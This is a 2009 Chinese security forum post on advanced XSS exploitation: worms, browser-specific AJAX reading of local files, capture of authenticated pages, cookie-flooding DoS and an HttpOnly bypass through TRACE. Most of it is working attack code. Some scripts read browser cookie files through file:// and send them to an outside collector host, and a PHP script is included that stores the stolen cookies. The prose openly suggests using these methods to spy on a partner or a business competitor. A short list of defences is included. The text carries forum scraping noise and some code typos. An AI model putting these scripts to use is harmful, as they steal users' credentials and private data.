XSS的高级利用部分总结 -蠕虫

admin

XSS的高级利用部分总结 -蠕虫,HTTP-only,AJAX本地文件操作,镜象网页
- ^+ A  [9 ]& r7 x" L$ @5 G3 D/ L本帖最后由 racle 于 2009-5-30 09:19 编辑
9 T4 W9 X* k' z5 r
XSS的高级利用总结 -蠕虫,HTTPONLY,AJAX本地文件操作,镜象网页
# _  ]0 E4 g. @/ v0 a) @By racle@tian6.com   
. s. s: F/ \- y& j5 Shttp://bbs.tian6.com/thread-12711-1-1.html
/ L: z" q0 Z2 E) f$ B  m转帖请保留版权


$ h! j& P* L% ?- T6 `6 l( C
-------------------------------------------前言---------------------------------------------------------


9 K. z& Z" m$ p" V& N) p9 Z本文将撇开XSS语句,JS脚本,如何无错插入XSS语句,如何过滤和绕过XSS语句过滤,CSRF等知识点.也就是说,你必须已经具备一定XSS知识,才能看懂本文.


" l7 c3 ~) _5 [0 V1 J如果你还未具备基础XSS知识,以下几个文章建议拜读:
& Q. g: ]2 x7 Y' @0 k8 Jhttp://www.lib.tsinghua.edu.cn/chinese/INTERNET/JavaScript/        JavaScript中文简介
! g' E, }  _2 N8 N) xhttp://www.google.com/search?q=XSS+%D3%EF%BE%E4        XSS语句大全
http://www.google.com/search?q=XSS+%C8%C6%B9%FD        XSS语句绕过
( |0 G% n5 S3 }- B( uhttp://www.80vul.com/dzvul/sodb/03/sodb-2008-03.txt        FLASH CSRF
. n: O3 M& R1 ]" D# Ihttp://bbs.tian6.com/thread-12239-1-1.html        突破XSS字符数量限制执行任意JS代码
+ e% f. \4 D3 T6 x+ Lhttp://bbs.tian6.com/thread-12241-1-1.html        利用窗口引用漏洞和XSS漏洞实现浏览器劫持


' W1 u$ y/ @9 w. P# Z
& t7 }' y$ ~* T
如果本文内容在你眼里显得非常陌生,或者难以理解,或者干燥无味,那正代表你对XSS了解甚少.

! p2 U3 I4 w; {5 V希望天阳会员本着技术学习为主的精神,真正的学习和掌握每门安全技术.因此,如果你来天阳是因为你想真正学会一些什么东西的话,请静下心来,看懂,看透,实际测试弄通本文.那么你对XSS的驾驭能力,自然大幅提高.

- E  d  h- v; u6 e如果你认为XSS是无足轻重的问题,只不过是常见的一个弹窗,或者你认为XSS作用域狭窄,或者你认为XSS威力微不足道,那么请先看看以下片段:Twitter遭遇疯狂XSS    6次XSS蠕虫版本变化,
" j) \/ C8 ^$ S7 E  d
3 ?3 L; Z" d" s: r$ Y3 ?Baidu xss蠕虫         感染了8700多个blog.媒体影响力,关注度巨大
! B( t+ j1 Q; Y2 j
, s' z4 j3 n  N4 p9 T' R5 [QQ ZONE,校内网XSS     感染过万QQ ZONE.

OWASP MYSPACE XSS蠕虫        20小时内传染一百万用户,最后导致MySpace瘫痪
4 ~: p0 F1 a0 z/ g; d6 D# B
' v$ [5 A% j' R; Y..........
0 L. n& J' p( u复制代码------------------------------------------介绍-------------------------------------------------------------
5 b' C0 ]8 y& `- M  Q" Y
9 }9 W. v! K4 [1 V什么是XSS?XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的.XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性.
4 G- R) J& X0 y% l* i+ n* I7 a2 W
& {8 U7 y8 k9 M3 x4 Y/ b! e
0 S0 ~: n, d, [  {5 r+ A
跨站攻击有多种方式,由HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码——例如记录论坛保存的用户信息（Cookie）,由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失.当然,攻击者有时也会在网页中加入一些以.JS 或.VBS为后尾名的代码时,在我们浏览时,同样我们也会被攻击到.
& J, Y' z! E) g7 x' M! e
( d$ K& d5 `& g5 d' Y% D( E8 x
; |! R4 b* n" v+ d
9 @1 I1 U) C- n1 X# \! O如何寻找,如何绕过各种限制,成功无错的执行XSS代码,我们在这里并不讨论.相关的文章在网上也有很多.
% K% z- A: B' v复制代码现今XSS替代了SQL-INJECTION,成为web security课题的首位安全问题.XSS已经成为WEB安全的重要课题.
我们在这里重点探讨以下几个问题:
2 i4 _  x+ K3 D$ J: E" G4 k. s
3 Y3 @5 O& R+ S9 m1        通过XSS,我们能实现什么?
6 y, k% d3 N5 [* a1 t8 g2 L9 S- Z$ O
2        如何通过HTTP-only保护COOKIES. 又如何突破HTTP-only,又如何补救?

, t( H. N* ^  a  x& M: {- ~. o8 E4 l0 C3        XSS的高级利用和高级综合型XSS蠕虫的可行性?
/ |. v. T% i# r( D3 Y+ |* |
1 T5 A) D  J& D( {4        XSS漏洞在输出和输入两个方面怎么才能避免.
( s- }, w* x  I

$ I0 K9 p( J3 b8 I6 `0 v
$ _* F( U& k) s7 {, U8 o------------------------------------------研究正题----------------------------------------------------------



通过XSS,我们能实现什么?通过XSS,我们可以获得用户的COOKIES等信息,模拟用户本身进行HTTP提交,读取客户端本地文件,欺骗社工.结合以上功能,我们还能写出综合高级蠕虫.
; t! W' K4 O$ u3 J) m% L' B7 R复制代码XSS的高级利用与及综合性XSS高级蠕虫:我们主要讨论XSS在不同的浏览器下的权限限制&&XSS截屏;镜象网页,http only bypass(Cross-Site Tracing XST).写出我们自己的高级XSS蠕虫
复制代码XSS漏洞在输出和输入两个方面怎么才能避免.
1:为网站各个动态页面分安全等级,划分重点和次重点区域,分等级采用不同的输入限制规则.
2:严格控制输入类型,根据实际需求选用数字,字符,特殊格式的限制.
3:在浏览器端输出时对HTML特殊字符进行了转义,常见采用htmlspecialchars,htmlentities.但是过滤了特殊字符,并不意味就是安全的.很多绕过方法都是争对单纯过滤进行的,譬如URL,8进制,16进制,String.fromCharCode转编码,UBB绕过等.因此应注意每处接受动态输入的代码审计.数据保存在innertxt,标签属性均应处于“”内.
$ O% d7 Y" X" f( G, k4:Http-only可以采用作为COOKIES保护方式之一.
; v  `# P5 z% O( U/ D) k) v
  E* Q( o, i" _

7 [; s9 V7 }5 q* [% ~
% I% `0 f8 [* I6 r8 F: U" U
(I) AJAX在不同的浏览器下的本地文件操作权限读取本地的COOKIES,常见的敏感文件如:FTP的INI,etc/shadow,各种第三方应用程序的敏感文件等,并且将内容反馈给攻击者)

/ ]6 {% \) }: Q; d" R1 _  p我们可以参考空虚浪子心的两篇文章,与及XEYE TEAM的统计信息:    1: ie6可读取无限制本地文件.ie8以及相应版本的trident内核浏览器对ajax本地执行时的权限控制得很死的，看来MS对IE这类安全风险比较重视。(这有一些问题，随后修正!)
# V1 X; t3 P9 V. {
! `2 ^) O  R2 t6 |9 I2 j
7 m5 ~$ U2 ^0 s  x  O" o$ e: K
, J4 f6 t9 ?. o8 A    2: ff 3.0.8及以下版本允许本地执行的ajax访问当前目录下的文件内容。其他目录暂无法访问。

" Y, t6 ^7 A- L* E8 _5 ?
+ c0 \4 Q5 F2 G1 W- N! m7 [
- W" N  [7 ~8 i  E$ w9 `$ q    3: opera9.64及以下版本允许通过指定url为file://协议进行访问；如果文件在当前目录下，则不需要指定file://协议；如果文件在同一盘符下甚至可以超越目录的方式访问:../../boot.ini。
0 ^( X+ S3 W# M9 B8 U0 X
6 W2 i; @' s7 e/ a

' R; O2 g6 r3 V- X% \. Q. Z" ?- M    4: 基于webkit内核：google chrome、遨游3.0、safari等浏览器对本地执行的ajax权限没做任何访问限制.
) ^  G' \9 M; z  q* t复制代码IE6使用ajax读取本地文件    <script>
+ g9 P8 l( E: [( n" g5 \5 Y, U
7 @6 _/ d( [$ `5 W    function $(x){return document.getElementById(x)}
7 @& O; f$ \, M. R" _

9 H3 d# @; u$ X  C- Y) n; z3 @
    function ajax_obj(){

    var request = false;

, i7 @2 w! P: P    if(window.XMLHttpRequest) {

% |( j4 q7 a0 N- n1 \+ e    request = new XMLHttpRequest();
$ ]. J& F* K6 A1 `( l
; i- ~( r. p" w8 H  x  f+ U- Y: p/ u; U    } else if(window.ActiveXObject) {
+ _$ E  z& ?' f  D' }
    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',

; h" o4 o& Q/ `1 X, N7 |

    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
6 K6 ^0 P- L2 b& T! E4 v
) ~, v# a4 h, j9 O/ t    for(var i=0; i<versions.length; i++) {
( O' s# X8 }+ _/ k* ~/ s
    try {
* F& P4 ?+ }# i0 X2 n
    request = new ActiveXObject(versions);
6 n* @, ^* ~; X5 r5 J5 W
, q; T& G/ N  R8 ~% w1 n. _    } catch(e) {}
% r, r: Y7 H+ Z( O9 t; e% E! Q
6 J4 A3 ]; I7 e1 P2 S& a) y    }
0 g( a" p9 p9 P4 P3 @. g& C/ [
1 z- \; A/ [9 U; i7 M; K    }
* F# Q9 s6 M0 ?% d) M* E# n! h
    return request;
9 X! b+ Z1 H* j' p8 x9 D# l
    }
# n  r% g1 p9 r1 C
    var _x = ajax_obj();
' C* s9 b, o$ `4 z% U) \
    function _7or3(_m,action,argv){

" q7 P" A0 p6 F& x9 u3 b- [: e) p    _x.open(_m,action,false);
: K7 ~9 I0 e# O, T) s
    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
/ s, L! W' i; ^5 G1 e2 u1 z& D' P2 r
    _x.send(argv);
/ ]  _! f7 V& T
# o' H2 i2 g' f% L# v0 ^    return _x.responseText;
. C" Q% j$ E& l/ y/ a) O
' G4 k6 Y2 ]. k- m% i. S    }


; C0 R' E: ~8 }; p3 x5 ?
! f4 s  f" N, S) r# x; Z7 ]  \    var txt=_7or3("GET","file://localhost/C:/11.txt",null);
3 L! |* I' q% C. f+ P7 m
9 ?' y5 ?0 T4 e3 K* ^    alert(txt);

+ w# Y9 }4 ]/ H* ^2 T* h5 D6 h
% U3 t, h' ^! k2 t; E  e9 p9 j
# z2 W- }) r6 \" E+ }    </script>
2 v6 J& b8 T0 C3 o; I复制代码FIREFOX 3使用ajax读取本地文件,仅能读取同目录,及其下属目录下文件.    <script>

    function $(x){return document.getElementById(x)}

; o2 y! i% A8 }! |6 `
3 v6 \( \/ d6 [- n7 }
1 p5 \  |4 q' Q+ Y* D    function ajax_obj(){
* V8 B! O: ]' ?0 ?4 D/ U6 k( _/ g
2 [; p: }& e( `% N4 K6 U    var request = false;
6 d" A2 q8 V' l" A7 ]" [4 a
" F/ l# y1 F) L9 }    if(window.XMLHttpRequest) {

    request = new XMLHttpRequest();

0 @  K7 N# V/ L- U  B+ T    } else if(window.ActiveXObject) {

    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',
: H5 i4 h& `% e* r4 b. r) k
4 l# G4 N. r' M1 R4 {: I
3 P# \7 b3 E3 U* W, G9 Q
7 D7 Z5 Y% f6 w* V- B9 G' M/ w    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

' ^6 _4 a% q$ C4 u( s: V    for(var i=0; i<versions.length; i++) {

    try {

: D  v! A) {7 X' t8 e3 F1 x3 |    request = new ActiveXObject(versions);

* J) g- r" Q$ \0 H) n    } catch(e) {}
% U9 F9 i0 B  J6 h6 y
    }

; P/ Y: l, }+ I8 @) w/ M. X    }
" S; {: U- n2 B9 ]
( F* ^  \7 Q/ T) W    return request;

. F; v& u, ]  ~    }
- x# m  [$ z* y$ O9 v' y
    var _x = ajax_obj();
# P2 E$ M9 S8 R) c1 G
    function _7or3(_m,action,argv){
* Z# ~% s- s+ R% T. s2 B8 u
7 V  X  @6 J* A. W    _x.open(_m,action,false);

4 N) B3 r! b  h: i% v$ `& g    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");

    _x.send(argv);

2 D9 @( f! j% c- ^    return _x.responseText;

5 n$ k) m  K4 C% G( W    }
9 |# o5 q% \0 F5 E4 [( W
, y% t2 U3 I9 \

/ I/ C9 `% h. b  X  h4 e5 o# O    var txt=_7or3("GET","1/11.txt",null);
% a% f  r" s% t) P, t
& t1 }2 O* z* ]0 j    alert(txt);
( _) n6 Z% M! h2 y! p
8 P! d! w- u( g- r$ l7 V
2 U% w0 D0 `* a# D1 s% }" M* }# Q# h
6 O; ~, ]1 d- I    </script>
复制代码Google Chrome使用ajax读取本地文件Chrome的cookie默认保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Cookies”
9 ]2 H* g8 b" f9 l' [: K* T  r

( k. i' e/ f" B' @
/ ~5 R/ s/ J; i. ]0 cChrome的历史保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\History"

- z8 c- Y: n  H- X* P
) |, y- U1 W; i- |. {1 h
<?   

& w  m! m, [6 o/*  

     Chrome 1.0.154.53 use ajax read local txt file and upload exp  
1 p/ C/ w( L6 F& ~% ?% N
     www.inbreak.net   

, ^: n( }* ]. e4 T     author voidloafer@gmail.com 2009-4-22   
; w( F- N% T& ^( Y0 O8 R# Z
4 S: z0 c- n) ?- _     http://www.inbreak.net/kxlzxtest/testxss/a.php get cookie and save.  
0 p3 c7 A2 u0 J5 ?( L
*/  
; z2 [: J# E9 c
header("Content-Disposition: attachment;filename=kxlzx.htm");   

header("Content-type: application/kxlzx");   

/*  
$ }5 @1 t# |, h% e& Y1 W
     set header, so just download html file,and open it at local.  

( q& L5 ]. v  G- q; e- l1 t( z- T& P9 I*/  
. w5 o4 e  X0 f4 X
?>   
/ v# ^0 s3 X: v9 g5 Q" E; K
' \: w& m& t2 \6 X<form id="form" action="http://www.inbreak.net/kxlzxtest/testxss/a.php" method="OST">   
- A7 Z# F6 y; h4 ^
     <input id="input" name="cookie" value="" type="hidden">   

$ z( ^3 a3 N5 x; R</form>   

  D. h/ m9 u( h, b( `<script>   
, p, u3 Q  X8 ]- m0 C6 E
function doMyAjax(user)   

{   
4 c8 z# k# ]& s' a2 }, P, k
8 c7 B9 o; ?0 v' L% {7 {var time = Math.random();   

7 e4 O& A7 k: v4 `/*  

5 o4 G5 B+ a& V  E5 o) gthe cookie at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\Default  
5 s) t: h5 s: ^$ D
and the history at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\History  
9 T' [# @: }- ~  c- |9 r
" `/ f1 ]) w& uand so on...  
* j+ [4 L. L# q+ \3 l1 n
*/  
* P! h+ v  H& I2 R# [
8 g+ ^; c- g4 U& |0 Yvar strPer = 'file://localhost/C:/Documents and Settings/'+user+'/Local Settings/Application Data/Google/Chrome/User Data/Default/Cookies?time='+time;   

   

8 e4 U. Z: J! M; p  X6 z4 e" Y1 zstartRequest(strPer);   
! ~  x: H! L7 Q
) d7 d8 m* X1 ^" f+ S
) A. y  d# t" h. o6 }' m
}   
1 t8 Y$ P5 J1 e1 B& K1 ]0 K
   
1 s* |* b4 t8 }, E  ~" }% r# q5 c
function Enshellcode(txt)   

{   

var url=new String(txt);   
. ^; N$ v9 p# F' e8 c) s0 s
& t0 @2 V: Q/ p) h/ L# a2 W0 Y# Qvar i=0,l=0,k=0,curl="";   
6 G7 h' M9 g4 i! l, q1 g" K% g
& C6 r5 L; O9 \5 G2 L" Hl= url.length;   
' T" H! O/ i  N9 e, d# ^9 Z
$ B' n  a2 }" S. U% gfor(;i<l;i++){   
6 j" E$ o3 `- w* t$ Z" A
* Q0 O: |# D" V: \. ^, ?k=url.charCodeAt(i);   
! Y- T" [' F+ ~$ i6 D; V- h  W
if(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);}   

; _' T; w7 L/ D9 ^8 ?4 Jif (l%2){curl+="00";}else{curl+="0000";}   

: S" V2 a: u; Bcurl=curl.replace(/(..)(..)/g,"%u$2$1");   

return curl;   
- v# l0 j( p$ O7 `) I) d. M3 P
}   
3 c; S8 l" w$ Y  T
: r2 ?+ ~8 `5 @6 p$ J5 ?   

" B; S9 @+ d+ s; B8 D0 \   

3 ^7 n4 i6 Z; x8 kvar xmlHttp;   
& a  z" |2 F6 [7 x
4 v( e$ Q# g& B9 v6 nfunction createXMLHttp(){   
# N& C- \* w# h' E5 z- u
     if(window.XMLHttpRequest){   

xmlHttp = new XMLHttpRequest();           
; W/ X5 e9 h- B' |  F
1 ?" }- g7 j4 t+ k- [) ^: Z) c( @     }   

     else if(window.ActiveXObject){   
/ ^/ ]7 v3 b+ e* R
xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");   

     }   
. @7 i+ y) v) J5 C/ G$ J6 r
}   
& r9 W% i* H( D/ x. B' J' Q
* g( b' v3 S/ f7 S( `+ A% a   

! l$ P9 R" b* ^% p: t; g5 W/ t" bfunction startRequest(doUrl){   
( M' w5 o6 D  }
   
6 C: L) K* U# X  N) X" o1 O3 |
     createXMLHttp();   
  ^+ ~- f5 L, O- w- A( ~

$ Z. U4 ^9 s$ J, e
     xmlHttp.onreadystatechange = handleStateChange;   

+ m6 t) V. L4 R- M2 }
9 U1 K' g& J, r- C; ^9 c
% K! J1 D" D0 M; h1 m     xmlHttp.open("GET", doUrl, true);   
' r1 m7 A- j$ G, ?6 U1 I8 G
* m" i+ m7 U* K* ^& \* ~
* X$ x* s' i3 a0 W1 w
     xmlHttp.send(null);   





}   

5 J* i- U5 K/ C   

; H$ T/ P3 j+ B3 v. q0 P) k8 Z! Zfunction handleStateChange(){   

     if (xmlHttp.readyState == 4 ){   

, t, B5 Q) S5 Q9 e3 [     var strResponse = "";   
* l- n& J- d% j% d
     setTimeout("framekxlzxPost(xmlHttp.responseText)", 3000);   
+ }3 r+ u( I0 j3 m9 d
        
( m, m/ T: X5 n  o% a2 Z, ?$ Q
( t& S7 I5 ]9 e     }   

+ t, I1 H3 g' a! a$ t) ^  |}   
+ V8 E2 I) S1 o- V5 K+ p( j
" W/ [9 @2 q7 |" b( J   

* T) u' ]* q! c$ l9 E6 h   

function framekxlzxPost(text)   

{   

     document.getElementById("input").value = Enshellcode(text);   
2 \$ `- c2 L& w3 i
, o: ?: c2 U6 F: q2 T     document.getElementById("form").submit();   

+ R/ V$ g7 Y: a9 C( r) d}   

% T6 ~& y, B6 h8 k   

: B# T+ [% ^7 rdoMyAjax("administrator");   

   

</script>
$ ]. j9 t6 q% N% \复制代码opera 9.52使用ajax读取本地COOKIES文件<script>  
$ b* E+ p& |, p& t
var xmlHttp;  
# Z  \! o- e; D  d/ C3 O/ c
7 {* q' U! y) m( W" u) rfunction createXMLHttp(){  

     if(window.XMLHttpRequest){  
+ I+ G& o* E9 F5 k( S1 r
( v; m4 N/ C; E$ `- S         xmlHttp = new XMLHttpRequest();         
4 ]% J' `7 g0 _: Y& c3 v4 L0 M
+ H) `* k4 Z2 [( [8 Z     }  
" P  A: g) {" J. u) ~
     else if(window.ActiveXObject){  
$ v5 }5 K1 d& n6 \( d) |
         xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");  
4 p7 y, o1 `4 i8 `4 _
     }  
, N4 C! i3 V$ p! g5 O: O; i
0 G# r9 m& e  f}  
3 I  w  P5 d5 X  r' q  W3 w
   
6 I9 H* l6 R) d/ O
  m! F( c% p& o' Y5 yfunction startRequest(doUrl){  

4 g9 z6 M2 R0 `4 i! X           
  O; M# `2 C: D3 U" k
     createXMLHttp();  

      
$ O- s) v7 @6 Q/ s
     xmlHttp.onreadystatechange = handleStateChange;  
' ~6 d1 p4 R$ X# _: G5 D7 ?
      
/ Z, B7 A. `* m2 L* {# q$ h
     xmlHttp.open("GET", doUrl, true);  

      
) L8 o) E0 ~3 E6 ^: S
     xmlHttp.send(null);  

4 ?  T% R% x2 o& {0 `9 J8 o7 f# x      
! q5 M' w2 Q; z1 o( ^
3 z8 U( n9 n. S+ h! u8 {* X; B      
+ @5 p2 X1 r5 |/ S
}   

. U3 N, J& t) V4 z! ?   

0 h% [5 E6 V. s) D1 h- Nfunction handleStateChange(){  
  V, q% K. O6 t6 w7 r; T3 H0 ?) W
     if (xmlHttp.readyState == 4 ){  

& M+ @/ ?# a- w  j             var strResponse = "";  
( s( ?! h, q5 d
4 t/ [9 D) c! @5 S' b             setTimeout("framekxlzxPost(xmlHttp.responseText)", 1000);   

               

     }  

}  
1 I+ M: a. K  w5 a$ ]
2 _# j# J% X- g0 g   
: |5 \$ }0 X4 w+ ~, k9 [
& x' K6 H6 h% m3 `( _( L; Hfunction doMyAjax(user,file)  

0 i/ }% {' Z' i. _{  
& O( ]; g. h/ s" K5 V6 m4 y! r
& J3 _( i( M- @         var time = Math.random();  

# l$ N( b4 {" A0 U9 C: j8 c           

7 W- W+ U( c! g6 M) u         var strPer = 'file://localhost/C:/Documents%20and%20Settings/'+user+'/Cookies/'+file+'?time='+time;  

           

4 w4 ?% G$ M  h         startRequest(strPer);  

" d  M. N, T4 t5 h' }      

}  
' X$ C/ w+ Y' p( i( {9 ?
   

function framekxlzxPost(text)  
6 ^0 O% Q5 L7 l' S9 {1 r
{  

     document.getElementById('framekxlzx').src="http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie="+escape(text);  
+ \" `$ X( u" @7 C- F# x
. |' ]) H7 t& g% }7 L     alert(/ok/);  
( M5 c0 G- b8 E, s% b& ~* f
}  

2 f9 g, |, V  Z$ i$ P4 J   

2 [7 S) l& p; W: hdoMyAjax('administrator','administrator@alibaba[1].txt');  

0 [- G) g2 X/ ?/ }, v- Z( m4 M7 ?+ V   

</script>
6 f; {1 a* {5 z

7 e2 r; U( t5 V' t
$ I# f4 S+ n3 c1 w+ i
7 K9 t+ _; U2 C! j0 U
' A3 S( L) k7 e9 t" ea.php
; ^/ }! ]2 s  `  K0 D6 w6 c
; Q2 v7 S' V$ G& r

7 R2 D4 A3 Q/ m- Y! B& Z  y2 s  Y<?php      
; l4 z( a. X7 [
   

" k4 p$ G/ g. b$ O$user_IP = ($_SERVER["HTTP_VIA"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"];  

$user_IP = ($user_IP) ? $user_IP : $_SERVER["REMOTE_ADDR"];   
! y) P2 ?+ @) Q! d
  

$fp = fopen($user_IP.date("Y-m-d H:i:s")."cookie.txt","wb");     
, w& H5 P2 b. S8 A5 U1 I
$ w4 I1 K, o0 Q4 y9 w7 @' F! x6 i/ {fwrite($fp,$_GET["cookie"]);      

& _/ i5 u/ {4 `* O+ w: zfclose($fp);   
  J9 ~" T8 F" |$ ?
! }0 F5 |2 q$ F?>
复制代码(II) XSS截屏-镜象网页与XSS实现DDOS:

; v" ^' ~+ [- w, H或许你对你女朋友的校内网里的好友列表感兴趣,又或者你对你的客户部竞争对手的电话通信记录感兴趣,那么这个由XEYE TEAM提出的新想法,对你就有用.
利用XSS获得指定的受控者授权状态下的页面源代码,再传发到目标页面,处理好相对路径,那么攻击者就能截取任意一个受控端的授权状态下的镜象网页.达到类似远程控制程序截屏的功能.

代码片段://xmlHttpReq.open("GET","AWebSiteWhichYouNeedToCatch.com",false);

  s( B6 a9 m  C+ a, _: N* d! W6 y//xmlHttpReq.open("GET","http://friend.xiaonei.com/myfriendlistx.do",false);

//xmlHttpReq.open("GET","http://chinatelecom.com/mylistofnopermonth.jsp?no=139xxxxxxxx",false);

function getURL(s) {
& N7 \' ?8 f8 n) c9 ^: B9 z
var image = new Image();
1 k& F& s: I! }# s; ]. W
image.style.width = 0;

1 t! ?4 u$ Y5 W- Timage.style.height = 0;

; r0 W2 W7 n" p* j. uimage.src = s;
: k& {, S2 h+ t( e" H2 j' t4 D
, y" K. J" n8 }8 T, o" e}
' ]/ |+ a- c# Z. }0 y
getURL("http://urwebsite.com/get.php?pagescopies="+xmlHttpReq.responseText);
; F. W& n1 w7 Q% M  H, c; d& }! _, Z复制代码XSS也能大材小用DDOS? 利用XSS操作COOKIES,导致HEADER部分过大,引发IIS或APACHE等服务端CRASH或者拒绝响应.生效时长与COOKIES允许保存时间相等.
0 D6 }  p. s: i这里引用大风的一段简单代码:<script language="javascript">
4 E' Q7 A1 {# X8 w$ K0 K" I; p
var metastr = "AAAAAAAAAA"; // 10 A
- X! |' n2 h- m
" [4 Z& t  W, q/ l- X' Yvar str = "";
2 x, F3 ]* k5 g# Y6 T
# U2 C6 D& N& I0 mwhile (str.length < 4000){

+ \( f, n# v3 u; a* c    str += metastr;

}



0 g; H; k6 H- Fdocument.cookie = "evil3=" + "\<script\>alert(xss)\<\/script\>" +";expires=Thu, 18-Apr-2019 08:37:43 GMT;";    // 一些老版本的webserver可能在这里还会存在XSS

</script>
7 `1 v1 d7 [2 t" I% a2 f. `9 h) h
详细代码请看:http://hi.baidu.com/aullik5/blog ... aeaac0a7866913.html
复制代码如果你觉得XSS用来DDOS太可惜的话,这里也提供另外一篇文章供你参考,随与XSS无关,但是却也挺有意思.
+ \+ }% C' V- R# D7 @# ?server limit ddos利用随想 - 空虚浪子心 http://www.inbreak.net/?action=show&id=150

假设msn.com出现了问题,被XSS了.并且攻击者把COOKIES 设置成yahoo.com的.那么所有访问msn.com的用户将无法访问yahoo.com.
攻击者在自己的网站上iframe了server limit ddos,目标设置为竞争对手myass.com,那么所有访问过攻击者网站的人,将无法访问其同行竞争对手myass.com的网站,这样不很妙么?呵呵.


0 S& k) |5 n9 k2 M
) a* R8 }) B  W2 m+ O* N$ ^6 B
5 d- u$ t& j, M# e. o3 I) m. W2 d

- H. z. l/ k$ O% H. g, j(III) Http only bypass 与 补救对策:
6 H0 `9 h" H9 C0 I1 X$ t
5 N  x6 e; n. J) b5 @% e/ d什么是HTTP-ONLY?HTTP-ONLY为Cookie提供了一个新属性，用以阻止客户端脚本访问Cookie.
以下是测试采用HTTPONLY与不采用时,遭受XSS时,COOKIES的保护差别。<script type="text/javascript">

! U2 F% T6 q% @5 a- ]- s/ l1 {4 n<!--
# k+ ]4 f1 |4 u- p. h% N+ ^1 y
) G) h  y9 p8 \% ]- [function normalCookie() {

document.cookie = "TheCookieName=CookieValue_httpOnly";
) e' s( J; K5 f
% Y0 ~% h! {5 I- T# x" @; jalert(document.cookie);
5 d, t' P7 m: k6 y5 M! P: |
}

( v9 q+ M' T5 S% B$ u3 {


/ G  }6 e" e6 |* d- }
function httpOnlyCookie() {

document.cookie = "TheCookieName=CookieValue_httpOnly; httpOnly";
- Y6 l' e! Z/ z  [
! c. P0 t: _; T" W- \  [alert(document.cookie);}

7 s0 ^( M0 p8 b( T7 r- J
. ^( W  `5 a) K0 }$ @4 h
//-->

</script>
) q+ J. S1 x9 t

4 D$ h! a* J" {
, w- w" t, z$ s, \<FORM><INPUT TYPE=BUTTON OnClick="normalCookie();" VALUE='Display Normal Cookie'>

/ [& H! N7 `1 Z<INPUT TYPE=BUTTON OnClick="httpOnlyCookie();" VALUE='Display HTTPONLY Cookie'></FORM>
复制代码但是采用HTPPONLY就安全了吗?不一定.采用TRACE获得HEADER里的COOKIES:<script>
: z. p  Y2 c, d3 q# M* A
8 p  V6 `: P" z/ S

var request = false;

* R4 Y; U( ?) j8 e+ i        if(window.XMLHttpRequest) {
4 e: n" b5 d+ G2 A
            request = new XMLHttpRequest();
4 C2 ~/ W# W+ J  f, s
            if(request.overrideMimeType) {
: I6 }8 A0 R# k
                request.overrideMimeType('text/xml');

            }
# g: s& U! }) n: X) _0 K5 m$ d
4 o3 e8 I$ U$ n* Z# N: W        } else if(window.ActiveXObject) {
0 [( L* g9 o4 L8 |
            var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
6 H! L) E% f0 i6 F; x
+ F" M. D: h7 G; d9 F. H            for(var i=0; i<versions.length; i++) {

                try {
  X; o* ?1 C# x
8 g# u* p8 j( ~. s9 T                    request = new ActiveXObject(versions);

4 X$ p/ V. L" u2 z: ~9 r, S                } catch(e) {}
: K0 a  }# W% t- T, \
/ j; @; A% g! C5 t* o            }
0 |- h6 h9 H) V; U
        }
- L  t; P. {5 l! _/ p" f  H
  S$ M* U. m" i3 v3 e- [) s" N7 IxmlHttp=request;
; X* Y$ \' r0 c( |4 P, Y% W# ]
% r! f7 E, O: I3 F+ q+ Q# dxmlHttp.open("TRACE","http://www.vul.com",false);

xmlHttp.send(null);

xmlDoc=xmlHttp.responseText;

+ i4 A% b7 Y8 A: g- x& v5 Y' walert(xmlDoc);
$ `5 Z4 z# m- ?, s% n
</script>
6 Y# I( Q4 h) F% q- V复制代码但是许多网站并不支持TRACE调试命令,那么我们还可以通过访问phpinfo();页面,筛选带有COOKIE的字段值.<script>

4 |# B7 V! t, a& P, r, g4 z' Svar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
: P6 M& a% Y( z7 R1 u* t
XmlHttp.open("GET","http://www.google.com",false);
9 ~/ Q% z3 n8 V
XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");
( o+ ~( c: @3 w% W. \+ q% v7 W
4 k1 j, ^( V  w: pXmlHttp.send(null);
( I  i7 }' k. A0 }) o# B
var resource=xmlHttp.responseText

" h5 v) {  C+ }resource.search(/cookies/);
/ \, ?4 V, r1 V" r$ W
# V+ U8 Z9 M! {$ K# Y. a......................

</script>
0 m" ]' ?% I( R+ d2 j) M
) u4 q$ ~, T( ?6 @* [

9 _3 _4 O* J+ {# M
0 \, |7 N6 V$ h5 \
